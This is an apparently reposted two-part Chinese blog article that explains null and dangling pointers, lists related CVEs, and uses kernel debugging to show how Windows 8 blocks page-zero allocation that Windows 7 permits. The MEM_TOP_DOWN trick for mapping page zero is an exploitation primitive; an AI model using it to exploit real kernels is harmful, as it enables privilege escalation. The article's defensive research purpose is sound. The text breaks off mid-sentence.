野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。 3. Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。 对于第一和第二种情况,我们可以通过一些代码审计工具在发布之前就能确定导致内存泄露或是野指针存在的地方。比如常见的工具有fority,valgrind等及时发现指针错误引用导致的问题。 对于第三种情况,空指针(Null Pointer)引用导致的错误,依靠代码审计工具很难发现其中的错误,因为空指针的引用一般不会发生在出现空指针然后直接使用空指针情况。往往是由于代码逻辑比较复杂空指针引用的位置会比较远,不容易发现;并且在正常情况下不会触发,只有在特定输入条件下才会引发空指针引用。对于排查此类错误也就更加困难。 本文不会重点讨论内存泄露和野指针的内容,而是通过一些现有的漏洞和实例来分析一下Null Pointer 空指针。从NULL Pointer概念、本质结合静态逆向及内核动态调试技术来了解在win7 32位和win8 32位下系统对Null Pointer处理情况有什么不同;Win8 32位针对Null Pointer添加了哪些防护机制。 本文从浅入深,循序渐进的讲述了NULL Pointer,结合静态逆向分析和内核级动态调试技术深入剖析win8系统对零页内存的保护机制,其中还涉及到了一些内核调试的技巧,对于对NULL Pointer的概念、使用比较模糊的人员值得一读,对于从事安全研究和学习的人员也是巩固、加深、拓展的好素材。 ## 2 空指针由Null Pointer引发的漏洞 首先来看看近年来由于空指针的错误使用导致的系统、服务漏洞: * Microsoft windows kernel ‘win32k.sys’本地权限提升漏洞(CVE-2015-1721)(MS15-061) 该漏洞影响了windows Server 2003 SP2和R2 SP2,Windows Vista SP2, Windows Server 2008 SP2 和R2 SP1,Windows7 SP1,Windows8 ,Windows8.1,Windows Server2012 Gold和R2,Windows RT Gold and 8.1 。利用内核驱动程序 win32k.sys漏洞可以提升权限或是引起拒绝访问服务,主要原因是空指针的错误引用导致。 * PHP空指针引用限制绕过漏洞(CVE-2015-3411) PHP存在安全漏洞,由于程序多个扩展中缺少路径或某些函数的路径参数的空字节检查,允许远程攻击者利用漏洞可绕过目标文件系统访问限制,访问任意文件。 * 0rg空指针引用拒绝访问漏洞(CVE-2008-0153 ) X.Org是X.Org基金会运作的一个对X Window系统的官方参考实现,是开源的自由软件。libXfont是一个用于服务器和实用程序的X字体处理库。 X.Org libXfont 1.4.9之前版本和1.5.1之前1.5.x版本的bitmap/bdfread.c文件中的’bdfReadCharacters’函数存在安全漏洞,该漏洞源于程序未能正确处理不能读取的字符位图。远程攻击者可借助特制的BDF字体文件利用该漏洞造成拒绝服务(空指针逆向引用和崩溃),执行任意代码。 * Paragma TelnetServer空指针引用拒绝服务漏洞(BID-27143) Pragma TelnetServer是一款远程访问和控制Telnet服务器。Pragma TelnetServer处理协议数据时存在漏洞,远程攻击者可能利用此漏洞导致服务器不可用。TelnetServer服务器对每个入站连接启动一个telnetd.exe进程,该进程在处理TELOPT PRAGMA LOGON telnet选项(138号)期间存在空指针引用,导致进程终止。尽管终止单个进程不会影响其他进程,但终止某些进程会导致拒绝访问服务器。 * OpenSSL SSLv2客户端空指针引用拒绝服务漏洞(CVE-2006-4343) OpenSSL是一种开放源码的SSL实现,用来实现网络通信的高强度加密,现在被广泛地用于各种网络应用程序中。OpenSSL的协议实现在处理连接请求时存在问题,远程攻击者可能利用此漏洞导致服务器拒绝服务。SSLv2客户端的get_server_hello()函数没有正确地检查空指针。使用OpenSSL的受影响客户端如果创建了到恶意服务器的SSLv2连接,就会导致崩溃。 * Linux Kernel空指针间接引用本地拒绝服务漏洞(CVE-2014-2678) Linux kernel 3.14版本内,net/rds/iw.c中的函数rds_iw_laddr_check在实现上存在本地拒绝服务漏洞,本地用户通过盲系统调用没有RDS传输的系统上的RDS套接字,利用此漏洞可造成空指针间接引用和系统崩溃。 * ISC BIND named拒绝服务漏洞(CVE-2015-5477) ISC BIND 9.9.7-P2之前版本、9.10.2-P3之前版本,named存在安全漏洞,远程攻击者通过TKEY查询,利用此漏洞可造成拒绝服务(REQUIRE断言失败及程序退出,指针未初始化)。 此类漏洞还有很多,从给出的几个漏洞来看,空指针漏洞主要是以拒绝服务访问漏洞为主,空指针错误引用自然会到底程序出现错误,严重者会崩溃,从而引起拒绝服务访问。 ## 3 基础篇:空指针验证方式 由空指针的错误引用导致的漏洞,其原理本身很简单:错误引用空指针,导致非法访问内存地址。 那到底什么是空指针漏洞呢?在计算机编程过程中使用指针时有两个重要的概念:空指针和野指针。那么在前面我们提到的空指针漏洞是不是就是我们在编程时所说的空指针呢?要弄清这个问题,首先需要知道编程领域中空指针和野指针分别是什么,还要弄清楚什么是空指针漏洞。 ### 3.1 概念性验证 假如 char _p,那么p是一个指针变量,该变量还没有指向任何内存空间,如果p = 0; p = 0L; p = ”; p = 3 – 3; p = 0 * 5; 中的任何一种赋值操作之后(对于 C 来说还可以是 p = (void_)0;), p 都成为一个空指针,由系统保证空指针不指向任何实际的对象或者函数。反过来说,任何对象或者函数的地址都不可能是空指针。(比如这里的(void _)0就是一个空指针。当然除了上面的各种赋值方式之外,还可以用 p = NULL; 来使 p 成为一个空指针。因为在很多系统中#define NULL (void_)0。 _3.1.1 内存管理之空指针_ 空指针指向了内存的什么地方呢?标准中并没有对空指针指向内存中的什么地方这一个问题作出规定,也就是说用哪个具体的地址值(0×0 地址还是某一特定地址)表示空指针取决于系统的实现。我们常见的 **空指针一般指向** **0** **地址,即空指针的内部用全** **0****来表示** (zero null pointer,零空指针)。 对于NULL能表示空指针,是否还有其他值来表示空指针呢?在windows核心编程第五版的windows内存结构一章中,表13-1有提到NULL指针分配的分区,其范围是从0×00000000到0x0000FFFF。这段空间是空闲的,对于空闲的空间而言,没有相应的物理存储器与之相对应,所以对这段空间来说,任何读写操作都是会引起异常的。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d2a764ed5_6941baebjw1ew31ot85q4j20k70bfwgo.jpg) 从图中看出,对NULL指针分配的区域有0×10000之多,为什么分配如此大的空间?在定义NULL的时候,只使用了 0×00000000这么一个值,而在表13-1有提到NULL指针分配的分区包含了0×00000000-0x0000FFFF,是不是有点浪费空间了;这是和操作系统地址空间的分配粒度相关的,windows X86的默认分配粒度是64KB,为了达到对齐,空间地址需要从0×00010000开始分配,故空指针的区间范围有那么大。 _3.1.2知识拓展之野指针_ “野指针”又叫”悬浮指针”不是NULL指针,是指向”垃圾”内存的指针。 “野指针”的成因主要有三种: 1)指针变量没有被初始化。任何指针变量刚被创建时不会自动成为NULL指针,它的缺省值是随机的,它会乱指一气。所以,指针变量在创建的同时应当被初始化,要么将指针设置为NULL,要么让它指向合法的内存。例如: char *p = NULL; char *str = (char *) malloc(100); 2)指针p被free或者delete之后,没有置为NULL,让人误以为p是个合法的指针。 free和delete只是把指针所指的内存给释放掉,但并没有把指针本身干掉。free以后其地址仍然不变(非NULL),只是该地址对应的内存变成垃圾内存,p成了”野指针”。如果此时不把p设置为NULL,会让人误以为p是个合法的指针。如果程序比较长,我们有时记不住p所指的内存是否已经被释放,在继续使用p之前,通常会用语句if (p != NULL)进行防错处理。很遗憾,此时if语句起不到防错作用,因为即便p不是NULL指针,它也不指向合法的内存块。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d2a764ed5_6941baebjw1ew31ot0plpj20b804cjrv.jpg) 用free或delete释放了内存之后,就应立即将指针设置为NULL,防止产生”野指针”。内存被释放了,并不表示指针会消亡或者成了NULL指针。 3)指针操作超越了变量的作用范围。例如不要返回指向栈内存的指针或引用,因为栈内存在函数结束时会被释放,这种情况让人防不胜防,示例程序如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b26edefc56_6941baebjw1ew31osks94j20dv07kt9j.jpg) 另外需要注意的是如果程序定义了一个指针,就必须要立即让它指向一个我们设定的空间或者把它设为NULL,如果没有这么做,那么这个指针里的内容是不可预知的,即不知道它指向内存中的哪个空间(即野指针),它有可能指向的是一个空白的内存区域,可能指向的是已经受保护的区域,甚至可能指向系统的关键内存,如果是那样就糟了,也许我们后面不小心对指针进行操作就有可能让系统出现紊乱,死机了。所以必须设定一个空间让指针指向它,或者把指针设为NULL。 ### 3.2源码级验证 接下来就结合两个小的实验例子看看空指针,及使用空指针的后果。 _3.2.1指针使用前期对比_ 本例是要验证指针变量在初始化前后的状况,下图是一段代码: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1ebc3e0661_6941baebjw1ew31oskt3bj2099038dg7.jpg) 代码很简单只是验证指针变量在赋值与未赋值分别指向的空间。代码中要打印的值: 1. 指针变量初始化之前的地址 2. 指针变量初始化之前的值 3. 指针变量初始化之后的地址 4. 指针变量初始化之后的值 编译之后,运行三次程序看运行的结果: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/14788b1a62_6941baebjw1ew31orvy2gj20d509nmyv.jpg) 从三次运行结果来看: 1. 每次打印指针变量的地址都不同,因为每次运行程序,P指针变量的地址都在变动。 2. 同一次打印中指针变量在初始化之前与初始化之后的地址没有变化。因为指针变量也是变量,变量在其生命周期中值可以变动,但是地址不会改变。 3. 每次打印中指针变量在初始化之前的值发生了变化。指针变量的值本身也是指向一块内存地址,在初始化之前该变量不指向任何内存地址,所以该变量的值就是一个随机值(也就是指向随机内存地址)。 4. 每次打印中指针变量在初始化之后的值没有发生变化,在指针变量初始化之后P=0,所以在内存初始化的指针变量指向了内存地址都为0×00000000的位置。在每次打印中指针变量在初始化之后的值就不会发生变化。 _3.2.2指针使用后期对比_ 针对指针变量在使用完毕后,内存释放之后的情况对比,其源码如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/14788b1a62_6941baebjw1ew31ork6o6j20aw06wjsc.jpg) 代码没什么复杂逻辑,只是想验证一下在指针变量释放后, P=NULL之前的野指针与P=NULL之后的指针状况,打印的内容: 1. 指针变量P开始的地址与值 2. 指针变量P在分配内存空间之后的地址与值 3. 指针变量P在释放内存空间之后的地址与值 4. 指针变量P在P=NULL之后的地址与值 下图是在编译之后运行的结果: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a106cdddbe_6941baebjw1ew31orf7tzj20cr051q3i.jpg) a. 指针变量在声明之后一直到最后的程序结束,指针变量的地址一直没有变动为0x35f778。 b. 定义指针变量时其值为0×00000000 c. 在申请新的内存之后,指针变量的值为申请内存的地址0x6e7a78 d. 在内存释放后,P变成野指针,但是此时P的值仍然是申请的内存地址0x6e7a78,但是此时P指针已经不能再使用。 e. 在P=NULL,p重新指向了地址0×00000000处。 由此可见,我们在释放指针变量后,指针变量会变成野指针,如果此时引用该指针会出现非法访问,因此需要在释放指针变量后将指针变量指向空。 ## 3.3可视化内存验证 为了能够更加直观的查看指针变量在内存中的变化,下面就结合动态调试的技术看看指针变量在整个使用过程中的变化情况。下面是一段程序代码: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/edac165994_6941baebjw1ew31or3of9j20b305gmxt.jpg) 在这里,我们使用OD动态调试器,来看看调用printf函数的情况: a. 第一条打印语句 printf("p address :%p, value :%08x\n", &p, p); 在调用printf前其内存情况: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c6721a8e05_6941baebjw1ew31oquwxcj20j902pt9q.jpg) 可知指针变量P的值为EAX=[EBP-4],P的地址ECX=EBP-4,此时的寄存器值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3705647afb_6941baebjw1ew31oqiwekj207j02jq31.jpg) 调用printf之后的值刚好是这两个值 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c55158ba3b_6941baebjw1ew31oqhk7yj20bk01raa6.jpg) b.第二条打印语句printf(“p intialized address :%p, value :%08x\n”, &p, p);在调用printf前其内存情况: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c55158ba3b_6941baebjw1ew31rzut8lj20is02kmy6.jpg) 可知指针变量P的值为EDX=[EBP-4],P的地址EAX=EBP-4,此时的寄存器值: ![image013](http://blog.nsfocus.net/wp-content/uploads/2015/08/image013.png) 调用printf之后的值刚好是这两个值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2801f18164_6941baebjw1ew31txxnipj20bq02daad.jpg) c. 第三条打印语句printf(“p free address :%p, value :%08x\n”, &p, p);在调用printf前其内存情况: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2801f18164_6941baebjw1ew31on79xbj20is02kmy6.jpg) 可知指针变量P的值为EAX=[EBP-4],P的地址ECX=EBP-4,此时的寄存器值: ![image016](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4dde1bfe56_image016.png) 调用printf之后的值刚好是这两个值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4afbd1c72_6941baebjw1ew31y42l38j20bn02eq3a.jpg) d. 第四条打印语句printf(“p ultimate address :%p, value :%08x\n”, &p, p);在调用printf前其内存情况: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7c68f5ed85_6941baebjw1ew31xmycj3j20is02kmy6.jpg) 可知指针变量P的值为EDX=[EBP-4],P的地址EAX=EBP-4,此时的寄存器值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7c68f5ed85_6941baebjw1ew31omkey9j208302pmxc.jpg) 调用printf之后的值刚好是这两个值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/35a1a29e3a_6941baebjw1ew31omhpo3j20b002r74r.jpg) ## 3.4 概念总结之空指针漏洞 前面对什么是空指针,什么是野指针做了讲解和验证。 在编程领域的空指针是指向NULL的指针,也就是说指向零页内存的指针叫空指针。对于未初始化的指针,释放内存而未将指针置为NULL和指针指向超出范围的情况称为野指针。那么在第二节中列举的空指针漏洞及未列举的空指针漏洞是不是都是由于引用零页内存导致的呢(比如CVE-2014-2678)?其实不然,有些漏洞是由于引用未初始化的指针或是引用超出范围的指针所导致,而这类漏洞应该说是由于错误的引用了野指针。比如最新的BIND漏洞(CVE-2015-5477): ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd09fa50db_6941baebjw1ew31om87j5j20eq05z40f.jpg) 但是到目前为止还没用听说过哪个漏洞命名为野指针漏洞,而更多的是空指针漏洞。**也就是说在计算机安全领域中由空指针或是野指针导致的漏洞统一叫做空指针漏洞。** …未完待续 在下一次《[空指针漏洞防护技术-高级篇](http://blog.jobbole.com/90942/)》中,我们将介绍空指针利用及Windows 8中相应的防护机制。 ### 相关文章 * [空指针漏洞防护技术(提高篇)](http://blog.jobbole.com/90942/) * [我是如何在腾达路由器固件程序上发现漏洞的](http://blog.jobbole.com/52181/) * [几种极其隐蔽的XSS注入的防护](http://blog.jobbole.com/26064/) * [浅谈CSRF攻击方式](http://blog.jobbole.com/23911/) * [我如何发现Facebook服务器中的远程代码执行漏洞:OpenID中的XML外部实体扩展漏洞](http://blog.jobbole.com/58179/) * [我是如何绕过Google和Facebook等大站的两步验证的](http://blog.jobbole.com/74590/) * [一个缓冲区溢出漏洞的简易教程](http://blog.jobbole.com/90589/) * [iOS又曝安全漏洞 可监视用户的触摸点击行为](http://blog.jobbole.com/61207/) * [内存寻址原理](http://blog.jobbole.com/90947/) * [Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元](http://blog.jobbole.com/29366/) [空指针漏洞防护技术(初级篇)](http://blog.jobbole.com/90941/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 空指针漏洞防护技术(提高篇) Date: 2015-09-15 URL: https://blog.wo.ai/archives/1038 Categories: Uncategorized 在《[空指针漏洞防护技术-初级篇](http://blog.jobbole.com/90941/)》中我们介绍了空指针及空指针漏洞的概念,在这次高级篇中介绍空指针利用及相应的防护机制。 ## 1 提高篇之:空指针的利用 前面主要介绍了空指针的一些概念和相关的知识,了解了什么是空指针,对于由野指针导致的空指针漏洞不是今天的重点。接下来主要就针对指向零页内存的空指针漏洞做详细的介绍。 此类漏洞利用主要集中在两种方式上: 1. 利用NULL指针。 2. 利用零页内存分配可用内存空间 对于第一种情况可以利用NULL指针来绕过条件判断或是安全认证。比如X.0rg空指针引用拒绝访问漏洞(CVE-2008-0153 ),如下图对比修改补丁前后的对比: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e512fe4b9_6941baebjw1ew3224hmkuj20dw08tmzm.jpg) 从代码补丁可以看出该漏洞利用NULL指针改变程序流程来触发漏洞。 针对第二种情况,在某些情况下零页内存也是可以被使用,比如下面两种情况: 1. 在windows16系统或是windows16虚拟系统中,零页内存是可以使用的;在windows 32位系统上运行DOS程序就会启动NTVDM进程,该进程就会使用到零页内存。 2. 通过ZwAllocateVirtualMemory等系统调用在进程中分配零页内存(win7系统之前)。 接下来结合ZwAllocateVirtualMemory API函数的调用直观感受在win7与win8系统中零页内存分配的差异。 ### 1.1 ZwAllocateVirtualMemory基本介绍 zwAllocateVirtualMemory函数在指定进程的虚拟空间中申请一块内存,那是不是只要在内存申请空间就会调用zwAllocateVirtualMemory函数呢?调用zwAllocateVirtualMemory需要根据实际的情况。 堆的分配、使用、回收都是通过微软的API来管理的,最常见的API是malloc和new。在底层调用是HeapAlloc,同时通过HeapCreate来创建堆。对zwAllocateVirtualMemory函数的调用情况是: . HeapCreate->RtlCreateHeap->ZwAllocateVirualMemory,这里会直接申请一大块内存,至于申请多大的内存,由进程PEB结构中的字段决定,HeapSegmentReserve字段指出要申请多大的虚拟内存,HeapSegmentCommit指明要提交多大内存。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e512fe4b9_6941baebjw1ew3224jpeoj20c502gweu.jpg) 图中看出默认申请大小是0×100000,默认提交大小是0×2000。下图是利用Heapcreate函数调用zwAllocatevirtualMemory时的函数调用栈关系。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e512fe4b9_6941baebjw1ew32255bl2j20df02ljrz.jpg) 图中展示了函数的调用过程。 1. HeapAlloc->RtlAllocateHeap-> ZwAllocateVirualMemory,这里的内存申请是由Heapcreate已经提交的内存中申请。堆管理器从这片内存中划分一块出来以满足申请的需要,仅当申请的内存不够的时候,才会再次调用ZwAllocateVirualMemory函数。 **也就是说,我们平时使用**** malloc ****或是**** new _*\_ *在堆上申请一块小的内存是不会调用该函数的。** 这点大家要注意。下图中展示了利用HeapAlloc调用ZwAllocateVirualMemory的过程: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/36ace39815_6941baebjw1ew3225fjvnj20ej043wfp.jpg) c. 直接利用zwAllocateVirtualMemory分配内存,对于zwAllocateVirtualMemory函数,微软没有给出公开的文档,但是可以通过相关资料或是逆向来了解该函数的使用方式。直接利用zwAllocateVirtualMemory函数分配内存首先加载函数所在模块,同时获取该函数的符号地址。由于该函数提供了比较全面的参数,利用此函数来分配内存空间更加灵活多变。 ### 1.2 ZwAllocateVirtualMemory函数知识 zwAllocateVirtualMemory该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐。 NTSYSAPI NTSTATUS NTAPI **ZwAllocateVirtualMemory** ( IN HANDLE *ProcessHandle*, IN OUT PVOID **BaseAddress*, IN ULONG *ZeroBits*, IN OUT PULONG *RegionSize*, IN ULONG *AllocationType*, IN ULONG *Protect* ); 两个主要参数: **返回值** 如果内存空间申请成功会返回0,失败会返回各种NTSTATUS码。 从zwAllocateVirtualMemory说明来看,本想利用BaseAddress参数在零页内存中分配空间,但是当BaseAdress指定为0时,系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。那么如何才能分配到零页内存呢? ### 1.3 零页内存分配之实例win7 vs win8 了解了zwallocatevirtualmemory的用法,就结合实例来看看如何利用该函数进行零页内存分配。前面介绍将BaseAdress设置为0时,并不能在零页内存中分配空间,就需要利用其它方式在零页内存分配空间。在AllocateType参数中有一个分配类型是MEM_TOP_DOWN,该类型表示内存分配从上向下分配内存。那么此时指定 BaseAddress为一个 低地址,例如 1,同时指定分配内存的大小 大于这个值 ,例如8192(一个内存页),这样分配成功后 地址范围就是 0xFFFFE001(-8191) 到 1把0地址包含在内了,此时再去尝试向 NULL指针执行的地址写数据,会发现程序不会异常了 。通过这种方式我们发现在0地址分配内存的同时,也会在高地址(内核空间)分配内存(当然此时使用高地址肯定会出错,因为这样在用户空间)。 下面就举个例子看如何在零页分配内存 了解windows编程的情况下,对上面的代码不难理解,获取模块句柄,获取zwAllocateVirtualMemory函数地址,并传递参数调用该函数,其中baseaddress的值为4,参数类型中包含了MEM_TOP_DOWN,即内存由上向下分配。所以如果成功的话,将把零页内存中的地址4-0都会分配出去;函数返回0表示内存分配成功。然后再给0地址赋值打印,对0地址重新赋值后再次打印,查看结果。 为了能对比win7与win8系统运行结果的差异,需要准备两个干净的系统win7和win8,这里采用的都是32位系统。 在win7系统中直接编译运行该程序,运行结果如下 从显示结果来看,利用zwAllocateVirtualMemory函数,确实在零内存页分配了4-0地址的空间,也就是说我们可以利用zwAllocateVirtualMemory在零页内存中成功分配空间。 同时在win8系统中同时编译该程序,如果F5调试运行结果如下图: 或是CTRL+F5非调试运行,其结果如下图: 在win8系统中在调用zwallocatevirtualmemory后,函数返回了非0,返回值为0Xc00000f0。最终没能在零页内存分配空间。也就是说在win8系统中对零页内存做了安全防护,导致在零页地址分配内存时失败。 接下来看看win8系统中到底对NULL Pointer也就是零页内存做了哪些防护。 ## 2 提高篇:windows零页内存防护机制 win8系统对零页内存防护机制通过搜索引擎可以查到: **在**** WIN8 ****系统中利用了内核进程结构**** EPROCESS ****中的**** flags ****字段的**** Vdmallowed _*\_ *标志来判断是否允许访问零页内存。** 但是知其然而不知其所以然不是我们追求的目标。我们要做的就是在不依靠其他文献的条件下通过逆向和动态调试技术来剖析win8对零页内存的防护机制。 ### 2.1 搭建内核调试环境 探索Win8的零页内存保护机制在内核中的实现,首先需要搭建一个能调试内核的环境。利用上面给出的例子结合内核调试来分析安全机制。关于如何搭建内核环境在之前的文章中已经介绍过,这里再累赘一下。 **5.1.1 虚拟机及调试环境** 搭建内核调试环境,采用双机调试模式,在虚拟机中安装win8系统同时配置win8调试模式。 Vmware安装win8系统就不在详解。系统启动后: 管理员权限打开CMD ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c7c452a25a_6941baebjw1ew3225wp6fj20ik068wfl.jpg) 按照上面的步骤配置好后,关闭虚拟机,打开win8虚拟机配置选项,删除并行端口,添加串行端口,同时配置串行端口,如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c7c452a25a_6941baebjw1ew32266n8kj20jt0dlwgy.jpg) 配置好vmware后启动虚拟机进入调试模式,如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3c28c0fc1f_6941baebjw1ew32b7fbcej20ar0bdwfm.jpg) **5.1.2 配置启动windbg** 双机模式调试内核需要配置windbg工具,现在主机中安装windbg;创建一个windbg的快捷方式,并在属性->目标中填入如下内容: "C:\program file\WinDbg(x64)\windbg.exe" -b -k com:pipe,port=\.\pipe\com_1,baud=115200,resets=0,pipe Windbg路径根据安装路径不同而调整。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/604fd5fc86_6941baebjw1ew3226gdy9j209z06t0te.jpg) 启动windbg,由于我的主机是win7系统如果直接双击windbg快捷方式启动 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ef59ceeca1_6941baebjw1ew3226wl1nj20da0abwg1.jpg) 这是缺少必要的权限,所以在启动windbg快捷方式时,需要以管理员的权限启动,启动完成后就可以和虚拟机中的win8系统进行内核级调试,启动之后的结果如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fe2c92afad_6941baebjw1ew32276inaj20c9071dh0.jpg) 到此内核调试的基本环境创建好了,为了能够更加直观的查看windows系统函数及调用关系需要为windbg配置符号表,这样windbg可以识别出windows标准的导出符号,同时为了能够更方便的调试nullpointer,也需要加载该程序的符号表。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fe2c92afad_6941baebjw1ew3227kmgej20bg05imxt.jpg) 到此内核调试环境搭建完成。 ### 2.2 用户态及内核态跨栈调试 该部分是动态调试的关键部分,也是注意事项最多的一节。 **5.2.1 内核调试用户态程序** 在上面配置好环境后,在windbg中运行G命令,启动调试。启动程序后,同时在windbg中按住CRTL+BREAK断到调试器中。此时win8系统处于中断状态,不会再运行任何指令。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0e807f0166_6941baebjw1ew3227tzi5j20ez05wgm1.jpg) 调试器断下来 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/15101fbc88_6941baebjw1ew3228ci4sj20co06fq3y.jpg) 我们知道在win7与win8中调用zwallocatevirtualmemory时由于零页内存保护机制的原因,win8系统不能在零页内存分配空间。那么就从调试nullpointer入手,通过调用zwallocatevirtualmemory调试内核态程序来剖解安全机制。 但是现在windbg处于内核调试状态,查看所有启动的进程 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/15101fbc88_6941baebjw1ew3228jmx6j20bu02qwer.jpg) 需要切换到nullpointer进程中。加载了nullpointer符号表。查看main函数的反汇编如下图所示: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2764d24042_6941baebjw1ew3228yxntj20gu097tbl.jpg) **5.2.2 用户态进入内核态** 跟进该函数,最后进入 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2764d24042_6941baebjw1ew32294rkvj20cz01tmxa.jpg) 进入了sysenter指令之前,对windows系统有所了解的话,就知道该函数利用该调用进入快速系统调用也就是说此时将由用户态进入内核态。 SYSENTER用来快速调用一个0层的系统过程。SYSENTER是SYSEXIT的同伴指令。该指令经过了优化,它可以使将由用户代码(运行在3层)向操作系统或执行程序(运行在0层)发起的系统调用发挥最大的性能。 在调用SYSENTER指令前,软件必须通过下面的MSR寄存器,指定0层的代码段和代码指针,0层的堆栈段和堆栈指针: 1. IA32_SYSENTER_CS:一个32位值。低16位是0层的代码段的选择子。该值同时用来计算0层的堆栈的选择子。 2.IA32_SYSENTER_EIP:包含一个32位的0层的代码指针,指向第一条指令。 3.IA32_SYSENTER_ESP:包含一个32位的0层的堆栈指针。 MSR寄存器可以通过指令RDMSR/WRMSR来进行读写。寄存器地址如下表。这些地址值在以后的intel 64和IA32处理器中是固定不变的。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/89ac94d7ca_6941baebjw1ew3229pe2sj208r03daae.jpg) **为了能保证我们调试的**** NT!NtAllocatevirtualMemory ****函数刚好是**** nullpointer ****调用的,需要给**** NT!NtAllocatevirtualMemory ****函数下断点,意思是只在指定进程调用该函数时才断下来。** 待函数断下来后,同时查看函数调用栈如下图 **:** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/89ac94d7ca_6941baebjw1ew3229v82xj20ce03qjsc.jpg) 从图中调用栈可知,此时断下来的NT!NtAllocatevirtualMemory刚好是nullpointer引用的内核函数。此时已经进入内核调试状态。 ### 5.3 逆向分析nt!NtAllocateVirtualMemory 进入win8内核调试,就要结合静态分析和动态调试来挖掘有用的信息。首先找到win8内核文件。 **需要注意的是此时分析的是虚拟机中**** win8 ****系统的内核文件,不是**** win7 _*\_ *主机的内核文件。** **5.3.1 NtAllocatevirtualMemory参数确认** 在前面的调试中,windbg断在了NT! NtAllocatevirtualMemory函数的入口处。对比NtAllocatevirtualMemory函数在windbg和IDA反编译的结果: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/89ac94d7ca_6941baebjw1ew322a7k47j208c059t9u.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/128b3d5881_6941baebjw1ew322abuutj208i034jrp.jpg) 可知,在运行完指令call __SEH_prolog4_GS,后EBP+8为第一个参数,EBP+C为第二个参数,那就看看在调用call __SEH_prolog4_GS后EBP的值,如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cedbc67b9d_6941baebjw1ew322au61yj20b303cq3q.jpg) 第一个参数是进程句柄,本进程句柄刚好是-1,第二个参数基地址指针,之前我们在程序中基地址是4,也就是0×00000004,查看基地址指针的值: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cedbc67b9d_6941baebjw1ew322bdiadj20aa01xmxh.jpg) 刚好是0×00000004,用户态传入的第三个参数是0,这里的第三个参数也刚好是0。其他参数不在一一列举;也就是是说内核函数NtAllocatevirtualMemory与用户态函数zwallocatevirtualmemory参数是一致的。 **5.3.2 查找NtAllocatevirtualMemory 零页内存安全机制** 到了最重要的时刻,接下来动态调试NtAllocatevirtualMemory, 一路单步执行,看到eax=0xc00000f0时停下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cedbc67b9d_6941baebjw1ew322btzepj20ef06jtah.jpg) 从图中可知并EAX来自于ESI的赋值。那就继续往上看,看ESI的值是从哪里来的 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b16108368_6941baebjw1ew322cdm7jj20hb082juf.jpg) 从图中看出,在执行test[edi+0C4],1000000h指令后,如果相等就执行了mov esi,0xc00000f0。 **5.3.3 确认NtAllocatevirtualMemory零页内存安全机制** 前面已经找到了返回0xc00000f0的地方,接下来就要看看条件判断的地方, EDI=0x84b2ac80是EPROCESS进程的地址,查看EPROCESS结果可知: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b16108368_6941baebjw1ew322clezfj208f02xq3d.jpg) 在结构eprocess偏移0xc4的位置刚好是标志Vdmallowed,该值是0,并且[edi=0xc4] 与上1000000后刚好是零。导致ESI=0xc00000f0,进而导致EAX=0xc00000f0。 **到此基本上已经确认了**** 